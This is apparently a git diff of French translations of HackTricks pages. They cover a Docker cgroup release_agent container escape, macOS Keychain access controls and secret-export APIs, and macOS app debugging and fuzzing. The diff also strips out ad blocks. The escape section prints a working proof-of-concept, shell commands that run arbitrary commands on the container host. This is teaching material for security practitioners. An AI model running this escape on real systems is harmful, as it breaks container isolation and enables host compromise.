Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
**Pour plus de détails, consultez le** [**post de blog original**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ceci est juste un résumé :
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
Original PoC:
|
||||||
|
|
||||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**Pour plus de détails, consultez le** [**article de blog original**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ceci n'est qu'un résumé :
|
|
||||||
|
|
||||||
PoC original :
|
|
||||||
```shell
|
```shell
|
||||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||||
|
@ -39,28 +26,28 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||||
```
|
```
|
||||||
Le proof of concept (PoC) démontre une méthode pour exploiter les cgroups en créant un fichier `release_agent` et en déclenchant son invocation pour exécuter des commandes arbitraires sur l'hôte du conteneur. Voici une ventilation des étapes impliquées :
|
La preuve de concept (PoC) démontre une méthode pour exploiter les cgroups en créant un fichier `release_agent` et en déclenchant son invocation pour exécuter des commandes arbitraires sur l'hôte du conteneur. Voici un aperçu des étapes impliquées :
|
||||||
|
|
||||||
1. **Préparer l'Environnement :**
|
1. **Préparer l'environnement :**
|
||||||
* Un répertoire `/tmp/cgrp` est créé pour servir de point de montage pour le cgroup.
|
* Un répertoire `/tmp/cgrp` est créé pour servir de point de montage pour le cgroup.
|
||||||
* Le contrôleur cgroup RDMA est monté sur ce répertoire. En cas d'absence du contrôleur RDMA, il est suggéré d'utiliser le contrôleur cgroup `memory` comme alternative.
|
* Le contrôleur de cgroup RDMA est monté sur ce répertoire. En cas d'absence du contrôleur RDMA, il est suggéré d'utiliser le contrôleur de cgroup `memory` comme alternative.
|
||||||
```shell
|
```shell
|
||||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||||
```
|
```
|
||||||
2. **Configurer le sous-cgroupe enfant :**
|
2. **Configurer le Cgroup Enfant :**
|
||||||
* Un sous-cgroupe nommé "x" est créé à l'intérieur du répertoire de cgroup monté.
|
* Un cgroup enfant nommé "x" est créé dans le répertoire cgroup monté.
|
||||||
* Les notifications sont activées pour le sous-cgroupe "x" en écrivant 1 dans son fichier notify\_on\_release.
|
* Les notifications sont activées pour le cgroup "x" en écrivant 1 dans son fichier notify\_on\_release.
|
||||||
```shell
|
```shell
|
||||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||||
```
|
```
|
||||||
3. **Configurer l'Agent de Libération :**
|
3. **Configurer l'Agent de Libération :**
|
||||||
* Le chemin du conteneur sur l'hôte est obtenu à partir du fichier /etc/mtab.
|
* Le chemin du conteneur sur l'hôte est obtenu à partir du fichier /etc/mtab.
|
||||||
* Le fichier release\_agent du cgroup est ensuite configuré pour exécuter un script nommé /cmd situé dans le chemin d'accès de l'hôte acquis.
|
* Le fichier release\_agent du cgroup est ensuite configuré pour exécuter un script nommé /cmd situé au chemin hôte acquis.
|
||||||
```shell
|
```shell
|
||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||||
```
|
```
|
||||||
4. **Créer et Configurer le Script /cmd :**
|
4. **Créer et configurer le script /cmd :**
|
||||||
* Le script /cmd est créé à l'intérieur du conteneur et est configuré pour exécuter ps aux, redirigeant la sortie vers un fichier nommé /output dans le conteneur. Le chemin complet de /output sur l'hôte est spécifié.
|
* Le script /cmd est créé à l'intérieur du conteneur et est configuré pour exécuter ps aux, redirigeant la sortie vers un fichier nommé /output dans le conteneur. Le chemin complet de /output sur l'hôte est spécifié.
|
||||||
```shell
|
```shell
|
||||||
echo '#!/bin/sh' > /cmd
|
echo '#!/bin/sh' > /cmd
|
||||||
|
@ -68,34 +55,22 @@ echo "ps aux > $host_path/output" >> /cmd
|
||||||
chmod a+x /cmd
|
chmod a+x /cmd
|
||||||
```
|
```
|
||||||
5. **Déclencher l'attaque :**
|
5. **Déclencher l'attaque :**
|
||||||
* Un processus est lancé dans le cgroup enfant "x" et est immédiatement arrêté.
|
* Un processus est initié dans le cgroup enfant "x" et est immédiatement terminé.
|
||||||
* Cela déclenche le `release_agent` (le script /cmd), qui exécute ps aux sur l'hôte et écrit la sortie dans /output à l'intérieur du conteneur.
|
* Cela déclenche le `release_agent` (le script /cmd), qui exécute ps aux sur l'hôte et écrit la sortie dans /output dans le conteneur.
|
||||||
```shell
|
```shell
|
||||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de malwares volant des informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS : <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,24 +15,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Le principal objectif de WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Main Keychains
|
## Main Keychains
|
||||||
|
|
||||||
* Le **User Keychain** (`~/Library/Keychains/login.keycahin-db`), qui est utilisé pour stocker des **identifiants spécifiques à l'utilisateur** tels que des mots de passe d'application, des mots de passe Internet, des certificats générés par l'utilisateur, des mots de passe réseau et des clés publiques/privées générées par l'utilisateur.
|
* Le **trousseau d'accès utilisateur** (`~/Library/Keychains/login.keycahin-db`), qui est utilisé pour stocker les **identifiants spécifiques à l'utilisateur** tels que les mots de passe d'application, les mots de passe Internet, les certificats générés par l'utilisateur, les mots de passe réseau et les clés publiques/privées générées par l'utilisateur.
|
||||||
* Le **System Keychain** (`/Library/Keychains/System.keychain`), qui stocke des **identifiants à l'échelle du système** tels que des mots de passe WiFi, des certificats racine du système, des clés privées du système et des mots de passe d'application du système.
|
* Le **trousseau d'accès système** (`/Library/Keychains/System.keychain`), qui stocke les **identifiants à l'échelle du système** tels que les mots de passe WiFi, les certificats racine du système, les clés privées du système et les mots de passe d'application du système.
|
||||||
|
|
||||||
### Password Keychain Access
|
### Password Keychain Access
|
||||||
|
|
||||||
|
@ -56,13 +43,13 @@ Les ACLs sont également accompagnées d'une **liste d'applications de confiance
|
||||||
|
|
||||||
De plus, l'entrée peut contenir la clé **`ACLAuthorizationPartitionID`,** qui est utilisée pour identifier le **teamid, apple,** et **cdhash.**
|
De plus, l'entrée peut contenir la clé **`ACLAuthorizationPartitionID`,** qui est utilisée pour identifier le **teamid, apple,** et **cdhash.**
|
||||||
|
|
||||||
* Si le **teamid** est spécifié, alors pour **accéder à la valeur de l'entrée** **sans** une **demande**, l'application utilisée doit avoir le **même teamid**.
|
* Si le **teamid** est spécifié, alors pour **accéder à la valeur de l'entrée** **sans** **demande**, l'application utilisée doit avoir le **même teamid**.
|
||||||
* Si le **apple** est spécifié, alors l'application doit être **signée** par **Apple**.
|
* Si le **apple** est spécifié, alors l'application doit être **signée** par **Apple**.
|
||||||
* Si le **cdhash** est indiqué, alors l'**application** doit avoir le **cdhash** spécifique.
|
* Si le **cdhash** est indiqué, alors l'**application** doit avoir le **cdhash** spécifique.
|
||||||
|
|
||||||
### Creating a Keychain Entry
|
### Creating a Keychain Entry
|
||||||
|
|
||||||
Lorsque une **nouvelle** **entrée** est créée en utilisant **`Keychain Access.app`**, les règles suivantes s'appliquent :
|
Lorsque **une nouvelle** **entrée** est créée à l'aide de **`Keychain Access.app`**, les règles suivantes s'appliquent :
|
||||||
|
|
||||||
* Toutes les applications peuvent chiffrer.
|
* Toutes les applications peuvent chiffrer.
|
||||||
* **Aucune application** ne peut exporter/déchiffrer (sans demander à l'utilisateur).
|
* **Aucune application** ne peut exporter/déchiffrer (sans demander à l'utilisateur).
|
||||||
|
@ -70,7 +57,7 @@ Lorsque une **nouvelle** **entrée** est créée en utilisant **`Keychain Access
|
||||||
* Aucune application ne peut changer les ACLs.
|
* Aucune application ne peut changer les ACLs.
|
||||||
* Le **partitionID** est défini sur **`apple`**.
|
* Le **partitionID** est défini sur **`apple`**.
|
||||||
|
|
||||||
Lorsque une **application crée une entrée dans le trousseau**, les règles sont légèrement différentes :
|
Lorsque **une application crée une entrée dans le trousseau**, les règles sont légèrement différentes :
|
||||||
|
|
||||||
* Toutes les applications peuvent chiffrer.
|
* Toutes les applications peuvent chiffrer.
|
||||||
* Seule l'**application créatrice** (ou toute autre application explicitement ajoutée) peut exporter/déchiffrer (sans demander à l'utilisateur).
|
* Seule l'**application créatrice** (ou toute autre application explicitement ajoutée) peut exporter/déchiffrer (sans demander à l'utilisateur).
|
||||||
|
@ -107,12 +94,12 @@ Liste et obtention d'**informations** sur chaque entrée de trousseau :
|
||||||
|
|
||||||
* L'API **`SecItemCopyMatching`** fournit des informations sur chaque entrée et il y a certains attributs que vous pouvez définir lors de son utilisation :
|
* L'API **`SecItemCopyMatching`** fournit des informations sur chaque entrée et il y a certains attributs que vous pouvez définir lors de son utilisation :
|
||||||
* **`kSecReturnData`** : Si vrai, il essaiera de déchiffrer les données (définir sur faux pour éviter les pop-ups potentiels)
|
* **`kSecReturnData`** : Si vrai, il essaiera de déchiffrer les données (définir sur faux pour éviter les pop-ups potentiels)
|
||||||
* **`kSecReturnRef`** : Obtenir également une référence à l'élément de trousseau (définir sur vrai si vous voyez plus tard que vous pouvez déchiffrer sans pop-up)
|
* **`kSecReturnRef`** : Obtenez également une référence à l'élément de trousseau (définir sur vrai si vous voyez plus tard que vous pouvez déchiffrer sans pop-up)
|
||||||
* **`kSecReturnAttributes`** : Obtenir des métadonnées sur les entrées
|
* **`kSecReturnAttributes`** : Obtenez des métadonnées sur les entrées
|
||||||
* **`kSecMatchLimit`** : Combien de résultats retourner
|
* **`kSecMatchLimit`** : Combien de résultats retourner
|
||||||
* **`kSecClass`** : Quel type d'entrée de trousseau
|
* **`kSecClass`** : Quel type d'entrée de trousseau
|
||||||
|
|
||||||
Obtenir les **ACL** de chaque entrée :
|
Obtenez les **ACL** de chaque entrée :
|
||||||
|
|
||||||
* Avec l'API **`SecAccessCopyACLList`**, vous pouvez obtenir l'**ACL pour l'élément de trousseau**, et cela renverra une liste d'ACL (comme `ACLAuhtorizationExportClear` et les autres mentionnés précédemment) où chaque liste a :
|
* Avec l'API **`SecAccessCopyACLList`**, vous pouvez obtenir l'**ACL pour l'élément de trousseau**, et cela renverra une liste d'ACL (comme `ACLAuhtorizationExportClear` et les autres mentionnés précédemment) où chaque liste a :
|
||||||
* Description
|
* Description
|
||||||
|
@ -121,7 +108,7 @@ Obtenir les **ACL** de chaque entrée :
|
||||||
* Un binaire : /usr/libexec/airportd
|
* Un binaire : /usr/libexec/airportd
|
||||||
* Un groupe : group://AirPort
|
* Un groupe : group://AirPort
|
||||||
|
|
||||||
Exporter les données :
|
Exportez les données :
|
||||||
|
|
||||||
* L'API **`SecKeychainItemCopyContent`** obtient le texte en clair
|
* L'API **`SecKeychainItemCopyContent`** obtient le texte en clair
|
||||||
* L'API **`SecItemExport`** exporte les clés et certificats mais peut nécessiter de définir des mots de passe pour exporter le contenu chiffré
|
* L'API **`SecItemExport`** exporte les clés et certificats mais peut nécessiter de définir des mots de passe pour exporter le contenu chiffré
|
||||||
|
@ -153,21 +140,10 @@ Si **apple** est indiqué dans le **partitionID**, vous pourriez y accéder avec
|
||||||
|
|
||||||
* [**#OBTS v5.0 : "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
* [**#OBTS v5.0 : "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Apps - Inspecter, déboguer et Fuzzing
|
# macOS Apps - Inspection, débogage et Fuzzing
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -15,21 +15,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Analyse statique
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Analyse Statique
|
|
||||||
|
|
||||||
### otool & objdump & nm
|
### otool & objdump & nm
|
||||||
```bash
|
```bash
|
||||||
|
@ -200,7 +187,7 @@ Il est ancien et non maintenu, donc il ne fonctionnera probablement pas correcte
|
||||||
|
|
||||||
#### ICDump
|
#### ICDump
|
||||||
|
|
||||||
[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Par rapport aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
|
[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Comparé aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
|
||||||
```python
|
```python
|
||||||
import icdump
|
import icdump
|
||||||
metadata = icdump.objc.parse("/path/to/bin")
|
metadata = icdump.objc.parse("/path/to/bin")
|
||||||
|
@ -209,7 +196,7 @@ print(metadata.to_decl())
|
||||||
```
|
```
|
||||||
## Analyse statique de Swift
|
## Analyse statique de Swift
|
||||||
|
|
||||||
Avec les binaires Swift, étant donné qu'il y a une compatibilité avec Objective-C, il est parfois possible d'extraire des déclarations en utilisant [class-dump](https://github.com/nygard/class-dump/) mais pas toujours.
|
Avec les binaires Swift, étant donné qu'il y a une compatibilité avec Objective-C, il est parfois possible d'extraire des déclarations en utilisant [class-dump](https://github.com/nygard/class-dump/) mais ce n'est pas toujours le cas.
|
||||||
|
|
||||||
Avec les commandes **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
|
Avec les commandes **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
|
||||||
```bash
|
```bash
|
||||||
|
@ -264,7 +251,7 @@ Son plist est situé dans `/System/Library/LaunchDaemons/com.apple.sysdiagnose.p
|
||||||
|
|
||||||
* `com.apple.sysdiagnose.CacheDelete` : Supprime les anciennes archives dans /var/rmp
|
* `com.apple.sysdiagnose.CacheDelete` : Supprime les anciennes archives dans /var/rmp
|
||||||
* `com.apple.sysdiagnose.kernel.ipc` : Port spécial 23 (noyau)
|
* `com.apple.sysdiagnose.kernel.ipc` : Port spécial 23 (noyau)
|
||||||
* `com.apple.sysdiagnose.service.xpc` : Interface en mode utilisateur via la classe Obj-C `Libsysdiagnose`. Trois arguments dans un dict peuvent être passés (`compress`, `display`, `run`)
|
* `com.apple.sysdiagnose.service.xpc` : Interface en mode utilisateur via la classe Obj-C `Libsysdiagnose`. Trois arguments dans un dictionnaire peuvent être passés (`compress`, `display`, `run`)
|
||||||
|
|
||||||
### Journaux Unifiés
|
### Journaux Unifiés
|
||||||
|
|
||||||
|
@ -511,17 +498,17 @@ Les dumps de core sont créés si :
|
||||||
* Si le processus n'était pas suid/sgid ou `kern.sugid_coredump` est 1 (par défaut 0)
|
* Si le processus n'était pas suid/sgid ou `kern.sugid_coredump` est 1 (par défaut 0)
|
||||||
* La limite `AS_CORE` permet l'opération. Il est possible de supprimer la création de dumps de code en appelant `ulimit -c 0` et de les réactiver avec `ulimit -c unlimited`.
|
* La limite `AS_CORE` permet l'opération. Il est possible de supprimer la création de dumps de code en appelant `ulimit -c 0` et de les réactiver avec `ulimit -c unlimited`.
|
||||||
|
|
||||||
Dans ces cas, le dump de core est généré selon le sysctl `kern.corefile` et stocké généralement dans `/cores/core/.%P`.
|
Dans ces cas, le dump de core est généré selon `kern.corefile` sysctl et stocké généralement dans `/cores/core/.%P`.
|
||||||
|
|
||||||
## Fuzzing
|
## Fuzzing
|
||||||
|
|
||||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||||
|
|
||||||
ReportCrash **analyse les processus en panne et enregistre un rapport de crash sur le disque**. Un rapport de crash contient des informations qui peuvent **aider un développeur à diagnostiquer** la cause d'un crash.\
|
ReportCrash **analyse les processus en panne et enregistre un rapport de panne sur le disque**. Un rapport de panne contient des informations qui peuvent **aider un développeur à diagnostiquer** la cause d'un crash.\
|
||||||
Pour les applications et autres processus **s'exécutant dans le contexte de lancement par utilisateur**, ReportCrash s'exécute en tant que LaunchAgent et enregistre les rapports de crash dans `~/Library/Logs/DiagnosticReports/` de l'utilisateur.\
|
Pour les applications et autres processus **s'exécutant dans le contexte de lancement par utilisateur**, ReportCrash s'exécute en tant que LaunchAgent et enregistre les rapports de panne dans `~/Library/Logs/DiagnosticReports/` de l'utilisateur.\
|
||||||
Pour les démons, autres processus **s'exécutant dans le contexte de lancement système** et autres processus privilégiés, ReportCrash s'exécute en tant que LaunchDaemon et enregistre les rapports de crash dans `/Library/Logs/DiagnosticReports` du système.
|
Pour les démons, autres processus **s'exécutant dans le contexte de lancement système** et autres processus privilégiés, ReportCrash s'exécute en tant que LaunchDaemon et enregistre les rapports de panne dans `/Library/Logs/DiagnosticReports` du système.
|
||||||
|
|
||||||
Si vous êtes inquiet au sujet des rapports de crash **envoyés à Apple**, vous pouvez les désactiver. Sinon, les rapports de crash peuvent être utiles pour **comprendre comment un serveur a planté**.
|
Si vous êtes inquiet au sujet des rapports de panne **envoyés à Apple**, vous pouvez les désactiver. Sinon, les rapports de panne peuvent être utiles pour **comprendre comment un serveur a planté**.
|
||||||
```bash
|
```bash
|
||||||
#To disable crash reporting:
|
#To disable crash reporting:
|
||||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||||
|
@ -587,7 +574,7 @@ Fonctionne pour les outils CLI
|
||||||
|
|
||||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||||
|
|
||||||
Il "**fonctionne simplement"** avec les outils GUI macOS. Notez que certaines applications macOS ont des exigences spécifiques comme des noms de fichiers uniques, la bonne extension, doivent lire les fichiers depuis le sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
Il "**fonctionne tout simplement"** avec les outils GUI macOS. Notez que certaines applications macOS ont des exigences spécifiques comme des noms de fichiers uniques, la bonne extension, et doivent lire les fichiers depuis le sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||||
|
|
||||||
Quelques exemples :
|
Quelques exemples :
|
||||||
|
|
||||||
|
@ -631,18 +618,6 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
||||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
